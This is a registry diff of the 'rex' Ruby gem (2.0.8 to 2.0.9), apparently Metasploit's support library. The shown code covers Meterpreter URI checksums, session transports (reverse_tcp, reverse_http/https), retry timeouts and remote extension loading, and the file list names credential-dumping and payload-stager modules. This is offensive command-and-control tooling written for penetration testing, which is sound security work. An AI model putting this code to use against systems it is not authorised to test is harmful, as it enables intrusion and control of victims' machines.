rex 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'msf/core/payload/uuid'
|
|
3
|
+
|
|
4
|
+
module Rex
|
|
5
|
+
module Payloads
|
|
6
|
+
module Meterpreter
|
|
7
|
+
module UriChecksum
|
|
8
|
+
|
|
9
|
+
#
|
|
10
|
+
# Define 8-bit checksums for matching URLs
|
|
11
|
+
# These are based on charset frequency
|
|
12
|
+
#
|
|
13
|
+
URI_CHECKSUM_INITW = 92 # Windows
|
|
14
|
+
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
|
|
15
|
+
URI_CHECKSUM_INITP = 80 # Python
|
|
16
|
+
URI_CHECKSUM_INITJ = 88 # Java
|
|
17
|
+
URI_CHECKSUM_CONN = 98 # Existing session
|
|
18
|
+
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
|
|
19
|
+
|
|
20
|
+
# Mapping between checksums and modes
|
|
21
|
+
URI_CHECKSUM_MODES = Hash[
|
|
22
|
+
URI_CHECKSUM_INITN, :init_native,
|
|
23
|
+
URI_CHECKSUM_INITP, :init_python,
|
|
24
|
+
URI_CHECKSUM_INITJ, :init_java,
|
|
25
|
+
URI_CHECKSUM_INIT_CONN, :init_connect,
|
|
26
|
+
URI_CHECKSUM_CONN, :connect
|
|
27
|
+
]
|
|
28
|
+
|
|
29
|
+
URI_CHECKSUM_MIN_LEN = 5
|
|
30
|
+
|
|
31
|
+
# Limit how long :connect URLs are to stay within 256 bytes when including
|
|
32
|
+
# the hostname, colon, port, and leading slash
|
|
33
|
+
URI_CHECKSUM_CONN_MAX_LEN = 128
|
|
34
|
+
|
|
35
|
+
URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
|
|
36
|
+
|
|
37
|
+
# Map "random" URIs to static strings, allowing us to randomize
|
|
38
|
+
# the URI sent in the first request.
|
|
39
|
+
#
|
|
40
|
+
# @param uri [String] The URI string from the HTTP request
|
|
41
|
+
# @return [Hash] The attributes extracted from the URI
|
|
42
|
+
def process_uri_resource(uri)
|
|
43
|
+
|
|
44
|
+
# Ignore non-base64url characters in the URL
|
|
45
|
+
uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
|
|
46
|
+
|
|
47
|
+
# Figure out the mode based on the checksum
|
|
48
|
+
uri_csum = Rex::Text.checksum8(uri_bare)
|
|
49
|
+
|
|
50
|
+
# Extract the UUID if the URI is long enough
|
|
51
|
+
uri_uuid = nil
|
|
52
|
+
if uri_bare.length >= URI_CHECKSUM_UUID_MIN_LEN
|
|
53
|
+
uri_uuid = Msf::Payload::UUID.new(uri: uri_bare)
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
uri_mode = URI_CHECKSUM_MODES[uri_csum]
|
|
57
|
+
|
|
58
|
+
# Return a hash of URI attributes
|
|
59
|
+
{ uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
# Create a URI that matches the specified checksum and payload uuid
|
|
63
|
+
#
|
|
64
|
+
# @param sum [Fixnum] A checksum mode value to use for the generated url
|
|
65
|
+
# @param uuid [Msf::Payload::UUID] A valid UUID object
|
|
66
|
+
# @param len [Fixnum] An optional URI length value, including the leading slash
|
|
67
|
+
# @return [String] The URI string for connections
|
|
68
|
+
def generate_uri_uuid(sum, uuid, len=nil)
|
|
69
|
+
curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN)
|
|
70
|
+
curl_prefix = uuid.to_uri
|
|
71
|
+
|
|
72
|
+
if len
|
|
73
|
+
# Subtract a byte to take into account the leading /
|
|
74
|
+
curl_uri_len = len - 1
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
if curl_uri_len < URI_CHECKSUM_UUID_MIN_LEN
|
|
78
|
+
raise ArgumentError, "Length must be #{URI_CHECKSUM_UUID_MIN_LEN+1} bytes or greater"
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
# Pad out the URI and make the checksum match the specified sum
|
|
82
|
+
"/" + generate_uri_checksum(sum, curl_uri_len, curl_prefix)
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
# Create an arbitrary length URI that matches a given checksum
|
|
86
|
+
#
|
|
87
|
+
# @param sum [Fixnum] The checksum value that the generated URI should match
|
|
88
|
+
# @param len [Fixnum] The length of the URI to generate
|
|
89
|
+
# @param prefix [String] The optional prefix to use to build the URI
|
|
90
|
+
# @return [String] The URI string that checksums to the given value
|
|
91
|
+
def generate_uri_checksum(sum, len=5, prefix="")
|
|
92
|
+
# Lengths shorter than 4 bytes are unable to match all possible checksums
|
|
93
|
+
# Lengths of exactly 4 are relatively slow to find for high checksum values
|
|
94
|
+
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
|
|
95
|
+
if len < URI_CHECKSUM_MIN_LEN
|
|
96
|
+
raise ArgumentError, "Length must be #{URI_CHECKSUM_MIN_LEN} bytes or greater"
|
|
97
|
+
end
|
|
98
|
+
|
|
99
|
+
gen_len = len-prefix.length
|
|
100
|
+
if gen_len < URI_CHECKSUM_MIN_LEN
|
|
101
|
+
raise ArgumentError, "Prefix must be at least {URI_CHECKSUM_MIN_LEN} bytes smaller than total length"
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
# Brute force a matching checksum for shorter URIs
|
|
105
|
+
if gen_len < 40
|
|
106
|
+
loop do
|
|
107
|
+
uri = prefix + Rex::Text.rand_text_base64url(gen_len)
|
|
108
|
+
return uri if Rex::Text.checksum8(uri) == sum
|
|
109
|
+
end
|
|
110
|
+
end
|
|
111
|
+
|
|
112
|
+
# The rand_text_base64url() method becomes a bottleneck at around 40 bytes
|
|
113
|
+
# Calculating a static prefix flattens out the average runtime for longer URIs
|
|
114
|
+
prefix << Rex::Text.rand_text_base64url(gen_len-20)
|
|
115
|
+
|
|
116
|
+
loop do
|
|
117
|
+
uri = prefix + Rex::Text.rand_text_base64url(20)
|
|
118
|
+
return uri if Rex::Text.checksum8(uri) == sum
|
|
119
|
+
end
|
|
120
|
+
end
|
|
121
|
+
|
|
122
|
+
# Return the numerical checksum for a given mode symbol
|
|
123
|
+
#
|
|
124
|
+
# @param mode [Symbol] The mode symbol to lookup (:connect, :init_native, :init_python, :init_java)
|
|
125
|
+
# @return [Fixnum] The URI checksum value corresponding with the mode
|
|
126
|
+
def uri_checksum_lookup(mode)
|
|
127
|
+
sum = URI_CHECKSUM_MODES.keys.select{|ksum| URI_CHECKSUM_MODES[ksum] == mode}.first
|
|
128
|
+
unless sum
|
|
129
|
+
raise ArgumentError, "Unknown checksum mode: #{mode}"
|
|
130
|
+
end
|
|
131
|
+
sum
|
|
132
|
+
end
|
|
133
|
+
end
|
|
134
|
+
end
|
|
135
|
+
end
|
|
136
|
+
end
|
data/lib/rex/post/meterpreter.rb
CHANGED
|
@@ -85,11 +85,18 @@ class Client
|
|
|
85
85
|
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
|
86
86
|
#
|
|
87
87
|
def cleanup_meterpreter
|
|
88
|
-
|
|
89
|
-
|
|
88
|
+
if not self.skip_cleanup
|
|
89
|
+
ext.aliases.each_value do | extension |
|
|
90
|
+
extension.cleanup if extension.respond_to?( 'cleanup' )
|
|
91
|
+
end
|
|
90
92
|
end
|
|
93
|
+
|
|
91
94
|
dispatcher_thread.kill if dispatcher_thread
|
|
92
|
-
|
|
95
|
+
|
|
96
|
+
if not self.skip_cleanup
|
|
97
|
+
core.shutdown rescue nil
|
|
98
|
+
end
|
|
99
|
+
|
|
93
100
|
shutdown_passive_dispatcher
|
|
94
101
|
end
|
|
95
102
|
|
|
@@ -111,6 +118,8 @@ class Client
|
|
|
111
118
|
self.ssl = opts[:ssl]
|
|
112
119
|
self.expiration = opts[:expiration]
|
|
113
120
|
self.comm_timeout = opts[:comm_timeout]
|
|
121
|
+
self.retry_total = opts[:retry_total]
|
|
122
|
+
self.retry_wait = opts[:retry_wait]
|
|
114
123
|
self.passive_dispatcher = opts[:passive_dispatcher]
|
|
115
124
|
|
|
116
125
|
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
|
@@ -194,6 +203,7 @@ class Client
|
|
|
194
203
|
self.sock.extend(Rex::Socket::SslTcp)
|
|
195
204
|
self.sock.sslsock = ssl
|
|
196
205
|
self.sock.sslctx = ctx
|
|
206
|
+
self.sock.sslhash = Rex::Text.sha1_raw(ctx.cert.to_der)
|
|
197
207
|
|
|
198
208
|
tag = self.sock.get_once(-1, 30)
|
|
199
209
|
if(not tag or tag !~ /^GET \//)
|
|
@@ -206,6 +216,7 @@ class Client
|
|
|
206
216
|
self.sock.sslsock.close
|
|
207
217
|
self.sock.sslsock = nil
|
|
208
218
|
self.sock.sslctx = nil
|
|
219
|
+
self.sock.sslhash = nil
|
|
209
220
|
self.sock = self.sock.fd
|
|
210
221
|
self.sock.extend(::Rex::Socket::Tcp)
|
|
211
222
|
end
|
|
@@ -451,6 +462,14 @@ class Client
|
|
|
451
462
|
#
|
|
452
463
|
attr_accessor :comm_timeout
|
|
453
464
|
#
|
|
465
|
+
# The total time for retrying connections
|
|
466
|
+
#
|
|
467
|
+
attr_accessor :retry_total
|
|
468
|
+
#
|
|
469
|
+
# The time to wait between retry attempts
|
|
470
|
+
#
|
|
471
|
+
attr_accessor :retry_wait
|
|
472
|
+
#
|
|
454
473
|
# The Passive Dispatcher
|
|
455
474
|
#
|
|
456
475
|
attr_accessor :passive_dispatcher
|
|
@@ -462,6 +481,10 @@ class Client
|
|
|
462
481
|
# A list of the commands
|
|
463
482
|
#
|
|
464
483
|
attr_reader :commands
|
|
484
|
+
#
|
|
485
|
+
# The timestamp of the last received response
|
|
486
|
+
#
|
|
487
|
+
attr_accessor :last_checkin
|
|
465
488
|
|
|
466
489
|
protected
|
|
467
490
|
attr_accessor :parser, :ext_aliases # :nodoc:
|
|
@@ -8,8 +8,12 @@ require 'rex/post/meterpreter/client'
|
|
|
8
8
|
# argument for moving the meterpreter client into the Msf namespace.
|
|
9
9
|
require 'msf/core/payload/windows'
|
|
10
10
|
|
|
11
|
-
#
|
|
12
|
-
require '
|
|
11
|
+
# URI uuid and checksum stuff
|
|
12
|
+
require 'msf/core/payload/uuid'
|
|
13
|
+
require 'rex/payloads/meterpreter/uri_checksum'
|
|
14
|
+
|
|
15
|
+
# certificate hash checking
|
|
16
|
+
require 'rex/parser/x509_certificate'
|
|
13
17
|
|
|
14
18
|
module Rex
|
|
15
19
|
module Post
|
|
@@ -28,11 +32,29 @@ class ClientCore < Extension
|
|
|
28
32
|
UNIX_PATH_MAX = 108
|
|
29
33
|
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
|
|
30
34
|
|
|
35
|
+
METERPRETER_TRANSPORT_SSL = 0
|
|
36
|
+
METERPRETER_TRANSPORT_HTTP = 1
|
|
37
|
+
METERPRETER_TRANSPORT_HTTPS = 2
|
|
38
|
+
|
|
39
|
+
TIMEOUT_SESSION = 24*3600*7 # 1 week
|
|
40
|
+
TIMEOUT_COMMS = 300 # 5 minutes
|
|
41
|
+
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
|
|
42
|
+
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
|
43
|
+
|
|
44
|
+
VALID_TRANSPORTS = {
|
|
45
|
+
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
|
|
46
|
+
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
|
|
47
|
+
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
|
|
48
|
+
'bind_tcp' => METERPRETER_TRANSPORT_SSL
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
include Rex::Payloads::Meterpreter::UriChecksum
|
|
52
|
+
|
|
31
53
|
#
|
|
32
54
|
# Initializes the 'core' portion of the meterpreter client commands.
|
|
33
55
|
#
|
|
34
56
|
def initialize(client)
|
|
35
|
-
super(client,
|
|
57
|
+
super(client, 'core')
|
|
36
58
|
end
|
|
37
59
|
|
|
38
60
|
##
|
|
@@ -41,6 +63,92 @@ class ClientCore < Extension
|
|
|
41
63
|
#
|
|
42
64
|
##
|
|
43
65
|
|
|
66
|
+
#
|
|
67
|
+
# Get a list of loaded commands for the given extension.
|
|
68
|
+
#
|
|
69
|
+
def get_loaded_extension_commands(extension_name)
|
|
70
|
+
request = Packet.create_request('core_enumextcmd')
|
|
71
|
+
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
|
72
|
+
|
|
73
|
+
begin
|
|
74
|
+
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
|
75
|
+
rescue
|
|
76
|
+
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
|
77
|
+
# binaries, we end up with a case where this fails. So here we just return the
|
|
78
|
+
# empty list of supported commands.
|
|
79
|
+
return []
|
|
80
|
+
end
|
|
81
|
+
|
|
82
|
+
# No response?
|
|
83
|
+
if response.nil?
|
|
84
|
+
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
|
|
85
|
+
elsif response.result != 0
|
|
86
|
+
# This case happens when the target doesn't support the core_enumextcmd message.
|
|
87
|
+
# If this is the case, then we just want to ignore the error and return an empty
|
|
88
|
+
# list. This will force the caller to load any required modules.
|
|
89
|
+
return []
|
|
90
|
+
end
|
|
91
|
+
|
|
92
|
+
commands = []
|
|
93
|
+
response.each(TLV_TYPE_STRING) { |c|
|
|
94
|
+
commands << c.value
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
commands
|
|
98
|
+
end
|
|
99
|
+
|
|
100
|
+
def transport_list
|
|
101
|
+
request = Packet.create_request('core_transport_list')
|
|
102
|
+
response = client.send_request(request)
|
|
103
|
+
|
|
104
|
+
result = {
|
|
105
|
+
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
|
106
|
+
:transports => []
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
|
110
|
+
result[:transports] << {
|
|
111
|
+
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
|
112
|
+
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
|
113
|
+
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
|
114
|
+
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
|
115
|
+
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
|
116
|
+
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
|
117
|
+
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
|
118
|
+
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
|
119
|
+
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
result
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
def set_transport_timeouts(opts={})
|
|
127
|
+
request = Packet.create_request('core_transport_set_timeouts')
|
|
128
|
+
|
|
129
|
+
if opts[:session_exp]
|
|
130
|
+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
|
131
|
+
end
|
|
132
|
+
if opts[:comm_timeout]
|
|
133
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
|
134
|
+
end
|
|
135
|
+
if opts[:retry_total]
|
|
136
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
|
137
|
+
end
|
|
138
|
+
if opts[:retry_wait]
|
|
139
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
|
140
|
+
end
|
|
141
|
+
|
|
142
|
+
response = client.send_request(request)
|
|
143
|
+
|
|
144
|
+
{
|
|
145
|
+
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
|
146
|
+
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
|
147
|
+
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
|
148
|
+
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
|
|
149
|
+
}
|
|
150
|
+
end
|
|
151
|
+
|
|
44
152
|
#
|
|
45
153
|
# Loads a library on the remote meterpreter instance. This method
|
|
46
154
|
# supports loading both extension and non-extension libraries and
|
|
@@ -72,7 +180,7 @@ class ClientCore < Extension
|
|
|
72
180
|
|
|
73
181
|
# No library path, no cookie.
|
|
74
182
|
if library_path.nil?
|
|
75
|
-
raise ArgumentError,
|
|
183
|
+
raise ArgumentError, 'No library file path was supplied', caller
|
|
76
184
|
end
|
|
77
185
|
|
|
78
186
|
# Set up the proper loading flags
|
|
@@ -107,7 +215,7 @@ class ClientCore < Extension
|
|
|
107
215
|
# path of the local and target so that it gets loaded with a random
|
|
108
216
|
# name
|
|
109
217
|
if opts['Extension']
|
|
110
|
-
library_path = "ext
|
|
218
|
+
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
|
|
111
219
|
target_path = library_path
|
|
112
220
|
end
|
|
113
221
|
end
|
|
@@ -125,7 +233,7 @@ class ClientCore < Extension
|
|
|
125
233
|
|
|
126
234
|
# No response?
|
|
127
235
|
if response.nil?
|
|
128
|
-
raise RuntimeError,
|
|
236
|
+
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
|
|
129
237
|
elsif response.result != 0
|
|
130
238
|
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
|
131
239
|
end
|
|
@@ -153,44 +261,186 @@ class ClientCore < Extension
|
|
|
153
261
|
if mod.nil?
|
|
154
262
|
raise RuntimeError, "No modules were specified", caller
|
|
155
263
|
end
|
|
156
|
-
# Get us to the installation root and then into data/meterpreter, where
|
|
157
|
-
# the file is expected to be
|
|
158
|
-
modname = "ext_server_#{mod.downcase}"
|
|
159
|
-
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
|
160
264
|
|
|
161
|
-
if
|
|
162
|
-
|
|
163
|
-
|
|
265
|
+
# Query the remote instance to see if commands for the extension are
|
|
266
|
+
# already loaded
|
|
267
|
+
commands = get_loaded_extension_commands(mod.downcase)
|
|
164
268
|
|
|
165
|
-
if
|
|
166
|
-
|
|
269
|
+
# if there are existing commands for the given extension, then we can use
|
|
270
|
+
# what's already there
|
|
271
|
+
unless commands.length > 0
|
|
272
|
+
# Get us to the installation root and then into data/meterpreter, where
|
|
273
|
+
# the file is expected to be
|
|
274
|
+
modname = "ext_server_#{mod.downcase}"
|
|
275
|
+
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
|
|
276
|
+
|
|
277
|
+
if opts['ExtensionPath']
|
|
278
|
+
path = ::File.expand_path(opts['ExtensionPath'])
|
|
279
|
+
end
|
|
280
|
+
|
|
281
|
+
if path.nil?
|
|
282
|
+
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
|
283
|
+
end
|
|
284
|
+
|
|
285
|
+
# Load the extension DLL
|
|
286
|
+
commands = load_library(
|
|
287
|
+
'LibraryFilePath' => path,
|
|
288
|
+
'UploadLibrary' => true,
|
|
289
|
+
'Extension' => true,
|
|
290
|
+
'SaveToDisk' => opts['LoadFromDisk'])
|
|
167
291
|
end
|
|
168
292
|
|
|
169
|
-
#
|
|
170
|
-
commands = load_library(
|
|
171
|
-
'LibraryFilePath' => path,
|
|
172
|
-
'UploadLibrary' => true,
|
|
173
|
-
'Extension' => true,
|
|
174
|
-
'SaveToDisk' => opts['LoadFromDisk'])
|
|
293
|
+
# wire the commands into the client
|
|
175
294
|
client.add_extension(mod, commands)
|
|
176
295
|
|
|
177
296
|
return true
|
|
178
297
|
end
|
|
179
298
|
|
|
299
|
+
def uuid(timeout=nil)
|
|
300
|
+
request = Packet.create_request('core_uuid')
|
|
301
|
+
|
|
302
|
+
args = [ request ]
|
|
303
|
+
args << timeout if timeout
|
|
304
|
+
response = client.send_request(*args)
|
|
305
|
+
|
|
306
|
+
id = response.get_tlv_value(TLV_TYPE_UUID)
